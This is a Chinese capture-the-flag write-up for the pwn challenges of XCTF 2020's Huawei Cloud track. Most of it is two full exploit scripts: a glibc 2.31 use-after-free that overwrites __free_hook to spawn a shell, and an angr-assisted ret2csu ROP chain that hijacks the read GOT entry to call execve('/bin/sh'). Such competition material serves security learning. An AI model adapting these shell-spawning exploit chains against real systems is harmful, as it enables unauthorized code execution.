0%

xctf高校挑战赛2020-华为云专场WP(pwn部分)

又是一堆阴间题,👴又不会做,👴也没时间复现,能写几个写几个,全场比赛八道题,总共被出了四道,有三题出的最多,可惜👴没有出,还有一个星盟的👴👴自己出了的一个一血题,8得8说真是阴间比赛

cpp

uaf,签到,唯一限制👴的是👴写脚本把自己写成nt了。2.31堆题,结束的时候会调用delete,利用这个改free hook,打system(‘/bin/sh’)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.log_level = 'debug'
p=remote('124.70.12.210','10002')
#p = process('./chall')
elf = ELF('./chall')
libc = ELF('./libc-2.31.so')

def sendint(num):
p.sendlineafter('> ',str(num))

def func0(con,num): #add
p.sendlineafter('>',str(0))
p.sendafter('>',con)
sendint(num)


def func1(con,num):
p.sendlineafter('> ',str(1))
sendint(num)
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
p.sendafter('>',con)

return heap_addr

def func1_(con,num):
p.sendlineafter('> ',str(1))
sendint(num)
libc_addr=u64(p.recv(6).ljust(8,'\x00'))
p.sendafter('>',p64(libc_addr)[0:7])
return libc_addr

def func1_1(con,num):
p.sendlineafter('> ',str(1))
sendint(num)
p.sendafter('>',con)
#22
func0('/bin/sh',10)
func0('/bin/sh',5)
func0('/bin/sh',4)

for i in range(0x30):
func0('/bin/sh',i+20)

func0('/bin/sh',0x100)
heap_base=func1_('aaaaaaa',10)-0x11fd0-0x2e0-0x260

func0('/bin/sh',8)
print(hex(heap_base))
#gdb.attach(p)
func1(p64(heap_base+0x2a0)[0:7],4)
func0('/bin/sh',6)

func0('/bin/sh',9)

libc_base=func1_('a',9)-0x1ebbe0
print(hex(libc_base))
func1_1('/bin/sh',21)
func1_1('/bin/sh',22)
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
func1_1(p64(free_hook)[0:7],23)

func0('/bin/sh',0x64)
func0(p64(system)[0:7],0x65)
#gdb.attach(p)
sendint(3)
p.interactive()

game

远程接收base64,然后解码以byte写入本地文件,根据本地文件,找到gadgets的位置,进而获得read功能的地址,然后利用angr跑(这里记得优化,和限制字符的范围,👴因为没限制,每次都跑个一分钟,限制加优化后几秒就完事),令find=read地址,获得数字

然后同样通过本地文件,获得栈大小,构造exp,进行攻击。

这题主要是没有输出,只有read,所以打syscall(理论上打ret2dl应该也行?但是太麻烦了👴没试)关于这题,👴也是突然nt了,只看到read里的syscall,忘了alarm里还有个syscall。导致👴就嗯是通过构造,read一个字节改read的got最后一字节,然后恰好eax=1,变成write系统调用。通过write(1,read_got,59)直接输出59个控制eax,打execve(“/bin/sh”,0,0),这波👴该打alarm的syscall的,嗯是给👴绕nt了

(由于这题👴开始复现的时候没优化,第二天环境没辣,👴就本地跑跑,时间也海星,就这样🌶)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
import time
import base64
import angr
import claripy
import os
context.log_level = 'debug'

def pwn():
'''
#remote

p=remote('121.36.21.113','10004')
p.recvuntil('------------------data info------------------\n')
a=p.recvuntil('\n',drop=True)
#print(a)
b=base64.b64decode(a)
with open("./elffile2","wb+") as f1:
f1.write(b)
os.system("chmod +x ./elffile2")
'''
#process
with open("./elffile2","rb") as f1:
b=f1.read(0x900)

code=b[0x6fe:]
x=time.time()
read_code=b'\x48\x8d\x85'
find_read=b.find(read_code, 0x7a0, 0x800)+0x400000
end_code=b'\x4c\x89\xea\x4c\x89\xf6\x44'
start_code=b'\x48\x83\xc4\x08\x5b\x5d\x41'
pop_rdi_code=b'\x5f\xc3'
pop_rsi_r15_code=b'\x5e\x41\x5f\xc3'
pop_rdi=b.find(pop_rdi_code, 0x800, 0x900)+0x400000
pop_rsi_r15=b.find(pop_rsi_r15_code, 0x800, 0x900)+0x400000
csu_behind=b.find(start_code, 0x800, 0x900)+0x400000
csu_front=b.find(end_code, 0x800, 0x900)+0x400000

print('behind: '+hex(csu_behind))
print('front: '+hex(csu_front))
print('pop_rdi: '+hex(pop_rdi))
print('pop_rsi: '+hex(pop_rsi_r15))
print('ok')
print('read_addr: '+hex(find_read))

proj = angr.Project('./elffile2')
argv1 = claripy.BVS('argv1', 8*10)#9
state = proj.factory.entry_state(args=['./elffile2',argv1])
for byt in argv1.chop(8):
state.add_constraints(
state.solver.And(byt >= ord('0'),byt <= ord('9'))
)
simgr = proj.factory.simgr(state)
simgr.one_active.options.add(angr.options.LAZY_SOLVES)
res=simgr.explore(find = find_read)
st = simgr.found[0]
s=st.solver.eval(argv1,cast_to=bytes)
s_str=str(s,encoding='utf-8')
print(s_str)
#optimization

y=time.time()
print("---------------------%f------------------------------"%(y-x))


elf = ELF('./elffile2')
op=''
length=0
if code[0]==0x81:
op='sub'
if code[3]!=0:
length=code[2]+code[3]*0x100
else:
length=code[2]
else:
op='add'
length=code[2]
print('length: '+hex(length))
print(op)
read_got=elf.got['read']
read_plt=elf.plt['read']
bss=elf.bss()+0x100
print('read_got: '+hex(read_got))
def csu(rbx,rbp,r12,r13,r14,r15):
payload=p64(csu_behind)
payload+=p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload+=p64(csu_front)
payload+=b'\x00'*0x38
return payload
#r13=rdx r14=rsi r15=rdi

#remote
'''
p.recvuntil('Hi, input code:')
p.sendline(s_str)
'''
#process
p = process(['./elffile2',s_str])

payload=b'a'*(length-0x8)
payload+=csu(0, 1, read_got, 8, bss, 0)
payload+=csu(0, 1, read_got, 59, read_got, 0)
payload+=p64(pop_rdi)+p64(1)+p64(read_plt)
payload+=p64(csu_behind)
payload+=p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(0) + p64(bss)
payload+=p64(csu_front)
print(hex(len(payload)))
p.send(payload)


time.sleep(1)
p.send('/bin/sh\x00')
time.sleep(1)
#gdb.attach(p)
#pause()
payload='\x7f'
p.send(payload)
# 1e-ubuntu 16 7f-ubuntu18
p.interactive()

pwn()
好饿啊,早知道不学安全了